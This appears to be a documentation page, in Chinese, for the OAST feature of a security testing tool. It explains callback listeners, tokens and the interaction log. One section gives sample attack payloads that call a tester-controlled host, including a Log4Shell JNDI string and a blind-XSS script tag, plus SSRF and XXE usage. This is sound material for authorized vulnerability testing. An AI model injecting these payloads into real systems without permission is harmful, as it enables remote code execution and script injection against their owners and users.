---
url: https://docs.ogmabox.com/zh/app/utilities/oast.md
description: 在 Ogma 中配置带外应用安全测试回调。
---

# OAST {#oast}

OAST（带外应用安全测试）用于检测不会产生可见响应的漏洞。目标转而向你控制的监听器发起出站连接，从而确认问题。

## 工作原理 {#how-it-works}

Ogma 运行多个协议的本地监听器。目标应用联系其中一个监听器时，会记录交互的来源 IP、时间戳、接收的数据以及注入的令牌。

### 监听器协议 {#listener-protocols}

| 协议 | 默认端口 | 用途 |
|---|---|---|
| HTTP | 可配置 | SSRF、盲 XSS、webhook |
| HTTPS | 可配置 | 通过 TLS 的 SSRF |
| DNS | 可配置 | 盲注入、XXE、log4shell |
| SMTP | 可配置 | 邮件标头注入、针对邮件服务的 SSRF |

在 OAST 设置面板中配置监听端口及生成令牌所用的域名。

## 生成回调令牌 {#generating-a-callback-token}

1. 打开**实用工具 > OAST**。
2. 点击\*\*+ 新建\*\*，再点击**创建**。每次测试的令牌都是唯一的。
3. 复制令牌。它包含监听器域名和唯一标识符，以便将交互对应到具体测试。

令牌格式示例：`[unique-id].[your-oast-domain]`

## 在载荷中使用令牌 {#using-tokens-in-payloads}

将回调令牌注入应用可能发起出站连接的任何字段：

* **SSRF**：使用 HTTP/HTTPS 令牌作为目标 URL：`https://[token]/`
* **XXE**：在 DOCTYPE 或外部实体 URL 中引用令牌。
* **Log4Shell**：嵌入标头：`${jndi:ldap://[token]/a}`
* **盲 XSS**：作为脚本 src 注入：`<script src="https://[token]/x.js"></script>`
* **SMTP 注入**：用作邮件标头中的目标地址或 URL。

## 交互日志 {#interactions-log}

交互面板显示收到的每个回调：

| 列 | 说明 |
|---|---|
| 时间 | 收到交互的时间 |
| 协议 | HTTP、HTTPS、DNS 或 SMTP |
| 来源 IP | 发起连接的 IP 地址 |
| 令牌 | 被联系的令牌 |
| 数据 | 请求路径、DNS 查询名称或 SMTP 数据 |

点击任意行查看完整交互详情，包括适用时的请求标头和正文。

## 将交互对应到测试 {#matching-interactions-to-tests}

由于每个令牌都是唯一的，你可以在不同参数或请求中注入不同令牌，精确确定哪个注入点触发了回调。

## 相关页面 {#related-pages}

* [扫描器](./scanner.md)
* [安全发现](../findings.md)